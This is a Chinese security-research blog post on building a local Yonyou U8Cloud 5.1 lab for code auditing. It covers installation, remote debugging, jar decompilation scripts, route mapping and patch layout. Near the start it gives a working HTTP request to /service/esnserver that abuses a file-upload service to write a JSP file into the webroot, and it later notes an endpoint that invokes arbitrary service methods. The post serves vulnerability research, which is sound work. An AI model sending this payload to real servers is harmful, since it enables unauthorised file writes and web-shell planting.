用友U8Cloud环境搭建
1diot9 Lv4

前言

在配环境时踩了很多坑,尤其时调试的时候。这里把遇到的问题都记录一下,希望能给大家一点帮助。

安装

某鱼上收一个最新版本的就行,我收的是5.1的。收最新环境是为了之后挖洞,挖洞一般挑最新版本,这样挖到的洞适用性更广。以下说明均基于5.1版本。

收到的一般是一份数据库文件和一个安装包。我数据库用的是sql server 2016 数据库怎么初始化,收到的网盘里一般都会自带,再结合网上sql server的教程,应该能够自己解决。

这里建议把环境安装到虚拟机里,这样方便快照保存,同时以后换电脑也方便迁移。缺点是会多占用磁盘,而且还需要把各种lib从虚拟机里复制出来供远程调试使用。

注意,安装时的端口一定要选择一个不冲突的。

安装完成后,可以通过一个payload测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /service/esnserver HTTP/1.1
Host: 127.0.0.1:8051
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Token: 469ce01522f64366750d1995ca119841
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=5AA7B7EB80F78BE269D5AEBE3ABE36FC.server
If-None-Match: W/"1215-1692092838000"
If-Modified-Since: Tue, 15 Aug 2023 09:47:18 GMT
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 239

{"invocationInfo":{"ucode":"123","dataSource":"U8cloud","lang":"en"},"method":"uploadFile","className":"nc.itf.hr.tools.IFileTrans","param":{"p1":"shelltext","p2":"webapps/u8c_web/test1234.jsp"},"paramType":["p1:[B","p2:java.lang.String"]}

img

这里会在/webapps/u8c_web/test1234.jsp创建一个空文件,如果能成功的话,说明环境没问题。

远程调试

这里就比较坑,我原本是在startup.bat里添加命令行参数,启动时控制台确实显示监听,且idea远程调试也能连接上。但是就是无法在断点处停下。后面问了Killer师傅才知道,原来不是在startup.bat里改,而是在”D:\U8CERP\ierp\bin\prop.xml”里修改:

img

当然,也可以直接复制启动参数,然后在cmd里加上调试参数去手动启动:

img

这一点真实非常坑,差点让我出师未捷身先死。

jar提取与反编译

业务相关jar包位于:

1、modules目录

2、external目录

3、framework目录

另外,我这里安装的是5.1版本,有很神奇的一点,我发现业务相关的jar修改日期都是2024/6/23,对上面的几个目录都适用。

大部分业务代码位于modules文件夹中,所以需要把里面的jar包全部提取出来再反编译,这样idea才能直接查找代码里的内容。

首先使用下面的脚本,将jar包全部拷贝出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@echo off
setlocal enabledelayedexpansion

rem Source and destination paths
set "SRC=D:\U8CERP\modules"
set "DEST=D:\U8CERP\moduleJars"

rem Create destination directory if it does not exist
if not exist "%DEST%" (
mkdir "%DEST%"
)

rem Copy all .jar files
echo Copying all .class files from %SRC% to %DEST% ...

for /r "%SRC%" %%f in (*.jar) do (
set "rel=%%f"
set "rel=!rel:%SRC%=!"
set "rel=!rel:\=_!"

echo Copying: %%f
copy "%%f" "%DEST%\!rel!" >nul
)

rem Copy all "classes" folders recursively
rem echo Copying all "classes" folders from %SRC% to %DEST% ...
rem for /r "%SRC%" %%d in (classes) do (
rem if exist "%%d" (
rem echo Copying folder: %%d
rem xcopy "%%d" "%DEST%\classes" /e /i /y >nul
rem )
rem )

echo All files copied successfully.
pause

现在有更好的方法。业务jar都是nc,u8c,com.yonyou开头的包名。可以写python脚本来筛选。然后再找到全部jar,从里面剔除之前找的业务jar,剩下的就是第三方jar了。

复制业务jar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import os
import zipfile
import shutil
import logging

# 设置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')

def check_jar_conditions(jar_path):
"""检查 JAR 文件的第一层目录中是否包含 'nc'、'u8c' 或者 com/yonyou"""
try:
with zipfile.ZipFile(jar_path, 'r') as jar:
file_names = jar.namelist()
first_level_dirs = set()

# 获取 JAR 文件中的第一层目录
for file in file_names:
first_level = file.split('/')[0]
first_level_dirs.add(first_level)

# 检查是否满足条件
if 'nc' in first_level_dirs or 'u8c' in first_level_dirs:
return True
if 'com' in first_level_dirs:
# 如果第一层目录是 'com',检查第二层是否为 'yonyou'
for file in file_names:
parts = file.split('/')
if len(parts) >= 2 and parts[0] == 'com' and parts[1] == 'yonyou':
return True
return False
except Exception as e:
logging.error(f"无法处理 JAR 文件 {jar_path}: {e}")
return False

def copy_jar_files(source_dir, target_dir):
"""递归提取目录下的所有 JAR 包,并按 dir1_dir2_xxx.jar 格式重命名"""
if not os.path.exists(target_dir):
os.makedirs(target_dir)

# 遍历源目录中的所有文件
for root, dirs, files in os.walk(source_dir):
for file in files:
if file.endswith('.jar'):
jar_path = os.path.join(root, file)

# 判断该 JAR 包是否满足条件
if check_jar_conditions(jar_path):
# 获取文件的相对路径并生成新的文件名
relative_path = os.path.relpath(root, source_dir)
new_filename = relative_path.replace(os.sep, '_') + '_' + file
target_path = os.path.join(target_dir, new_filename)

# 检查目标目录是否已有相同文件名
counter = 1
while os.path.exists(target_path):
# 如果文件已存在,给文件加上数字后缀
name, ext = os.path.splitext(file)
target_path = os.path.join(target_dir, f"{new_filename.split('.')[0]}_{counter}{ext}")
counter += 1

# 复制 JAR 文件
shutil.copy(jar_path, target_path)
logging.info(f"已复制符合条件的 JAR 文件: {jar_path} -> {target_path}")

if __name__ == '__main__':
# 输入源目录和目标目录
source_directory = './' # 替换为源目录路径
target_directory = 'D:/U8CJars/ncJars' # 替换为目标目录路径

# 复制符合条件的 JAR 文件
copy_jar_files(source_directory, target_directory)

复制第三方jar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import os
import shutil
import zipfile
import logging
import sys

# 设置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')


def check_first_level_for_nc_or_u8c_or_yonyou(jar_path):
"""检查 JAR 文件中的第一层目录是否包含 'nc' 或 'u8c' 文件夹"""
try:
with zipfile.ZipFile(jar_path, 'r') as jar:
file_names = jar.namelist()
first_level_dirs = set()

# 获取 JAR 文件中的第一层目录
for file in file_names:
first_level = file.split('/')[0]
first_level_dirs.add(first_level)

# 检查是否满足条件
if 'nc' in first_level_dirs or 'u8c' in first_level_dirs:
return True
if 'com' in first_level_dirs:
# 如果第一层目录是 'com',检查第二层是否为 'yonyou'
for file in file_names:
parts = file.split('/')
if len(parts) >= 2 and parts[0] == 'com' and parts[1] == 'yonyou':
return True
return False
except Exception as e:
logging.error(f"无法处理 JAR 文件 {jar_path}: {e}")
return False


def copy_jar_files(source_dir, target_dir):
"""递归复制所有 JAR 文件到目标目录,并按 dir1_dir2_xxx.jar 格式重命名"""
if not os.path.exists(target_dir):
os.makedirs(target_dir)

for root, dirs, files in os.walk(source_dir):
for file in files:
if file.endswith('.jar'):
jar_path = os.path.join(root, file)

# 获取文件的相对路径并生成新的文件名
relative_path = os.path.relpath(root, source_dir)
new_filename = relative_path.replace(os.sep, '_') + '_' + file
target_path = os.path.join(target_dir, new_filename)

# 如果目标目录中没有这个文件,复制它
if not os.path.exists(target_path):
shutil.copy(jar_path, target_path)
logging.info(f"已复制新的 JAR 文件: {jar_path} -> {target_path}")
else:
logging.info(f"文件已存在,跳过复制: {jar_path}")


def delete_invalid_jars(target_dir):
"""遍历目标目录的 JAR 文件,删除第一层目录包含 'nc' 或 'u8c' 文件夹的文件"""
for root, dirs, files in os.walk(target_dir):
for file in files:
if file.endswith('.jar'):
jar_path = os.path.join(root, file)

# 检查 JAR 文件是否需要删除
if check_first_level_for_nc_or_u8c_or_yonyou(jar_path):
os.remove(jar_path)
logging.info(f"已删除包含 'nc' 或 'u8c' 文件夹的 JAR 文件: {jar_path}")


if __name__ == '__main__':
# 从命令行参数中获取输入
# if len(sys.argv) != 3:
# print("用法: python script.py <源目录> <目标目录>")
# sys.exit(1)
#
# source_directory = sys.argv[1] # 源目录
# target_directory = sys.argv[2] # 目标目录

source_directory = "./"
target_directory = "D:/U8CJars/otherJars"

# 步骤1: 复制所有 JAR 文件到目标目录,并按 dir1_dir2_xxx.jar 格式重命名
copy_jar_files(source_directory, target_directory)

# 步骤2: 删除目标目录中包含 'nc' 或 'u8c' 文件夹的 JAR 文件
delete_invalid_jars(target_directory)

接着,将所有业务jar压缩成一个zip,丢进jd-gui进行反编译。旁边显示jar包说明正常,左上角file,选择save all source即可:

img

反编译结束后,解压,添加为idea代码源即可。

库文件添加

更新一下方法,用上面的jar提取方法就行了。

下面的是老方法,不过对于提取xml,upm等文件还是很方便的。

u8cloud里需要添加的库文件很多,包括external,framework,lib,langlib,middleware,modules,nmc等文件夹。而且有些文件夹不是直接添加就好了,你还得一层层打开,然后添加里面的lib目录,很是麻烦。

所以这里我让AI帮我写了脚本,把所有.jar和classes目录都复制到了一个文件夹下,这样直接添加就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@echo off
setlocal enabledelayedexpansion

rem Source and destination paths
set "SRC=D:\U8CERP"
set "DEST=D:\U8CERP\alllibs"

rem Create destination directory if it does not exist
if not exist "%DEST%" (
mkdir "%DEST%"
)

rem Copy all .jar files
echo Copying all .jar files from %SRC% to %DEST% ...
for /r "%SRC%" %%f in (*.jar) do (
echo Copying: %%f
copy "%%f" "%DEST%" >nul
)

rem Copy all "classes" folders recursively
echo Copying all "classes" folders from %SRC% to %DEST% ...
for /r "%SRC%" %%d in (classes) do (
if exist "%%d" (
echo Copying folder: %%d
xcopy "%%d" "%DEST%\classes" /e /i /y >nul
)
)

echo All files copied successfully.
pause

也可以直接修改后缀,这样就能复制.xml等文件到一起。

但是这样有一个问题,就是你在idea里调试,想要查看这个jar是属于哪个文件夹时,就需要复制jar包名称,然后通过everything等工具查找,找到对应的位置。(其实可以复制的时候,将jar命名成dir1_dir2_xxx.jar形式)

不过你也可以让AI写另一个脚本,让它把各个文件夹里的jar包写成idea中xml的格式。因为idea的库实际上是以xml的形式存储的:

img

不过个人觉得还是第一种更方便。

最后记得在模块-依赖里把刚刚添加的库勾选上,不然全局搜索会搜不到:

img

部分路由映射关系

webapps/u8c_web/web.xml 里有一部分servlet映射。

/u8cloud/api/*,/u8cloud/openapi/*等都走nc.bs.framework.server.extsys.ExtSystemInvokerServlet:

img

openapi的映射关系在”D:\U8CERP\api\config”

u8cloud里的一部分路由,是通过InvokerServlet的方式来动态加载的。这是web.xml里决定的:

img

img

而怎么Invoke具体的Servlet,这是由配置文件决定的”D:\U8CERP\modules\uap\META-INF”,这里面所有的.upm记录了映射关系:

img

可以用上面的脚本把所有的upm文件复制到一起。

也可以在这里打断点:

img

然后访问/service/esnserver

然后运行表达式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ComponentMeta[] componentMetas = publicRepo.getComponentMetas();
HashMap<Object, Object> hashMap = new HashMap<>();
for (int i = 0; i < publicRepo.getCount(); i++) {
try{
String name = componentMetas[i].getName();
ComponentMeta meta = componentMetas[i];
Instantiator raw = ((ComponentMetaImpl) meta).getRawInstantiator();
Field f = raw.getClass().getDeclaredField("implementation");
f.setAccessible(true);
Class o = (Class) f.get(raw);
String clazzName = o.getName();
hashMap.put(name, clazzName);
}catch (Exception e) {

}
}

String filePath = "D:/U8CERP/map_output.txt";
try {
BufferedWriter writer = new BufferedWriter(new FileWriter(filePath));
for (Map.Entry<Object, Object> entry : hashMap.entrySet()) {
writer.write("urlName-/service/"+entry.getKey() + ": className-" + entry.getValue());
writer.newLine(); // 换行

}
}catch (Exception e) {

}

这样就能把url和class的映射关系全都打印出来了。

img

部分urlName可能需要写成/service/uap/xxx的形式。取决于component有没有name。像这种没有name的就需要加上uap:

img

可以直接到我的仓库下载:

MyJavaSecStudy/CodeAudit/用友U8cloud at main · 1diot9/MyJavaSecStudy

/ServiceDispatcherServlet,能够调用任意service的任意public方法。service的名字从upm文件里找,是interface标签里的。

img

补丁分析

去官网能搜索到补丁:https://security.yonyou.com/#/patchList

补丁一般是这样的目录结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|   installpatch.xml
| packmetadata.xml
| readme.txt
|
\---replacement
+---external
| \---classes
| \---nc
| \---bs
| \---framework
| \---server
| \---token
| TokenUtil$TokenUtilHolder.class
| TokenUtil.class
|
+---ierp
| \---bin
| \---token
| trustServiceList.conf
|
\---modules
\---hrpub
\---META-INF
\---classes
\---nc
\---impl
\---hr
\---tools
\---trans
FileTransImpl.class

位于classes和META-INF中的.class文件优先级更高,这样web应用启动时就会选择最新的类,从而打上补丁。

ierp里都是配置文件,比如白名单之类的。

https://www.yyu8c.com/#/u8chelp/solution/b5a47b67759a100c2a7140d00266b530

可以通过这个工具去自动安装所有补丁

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 84k 访客数 访问量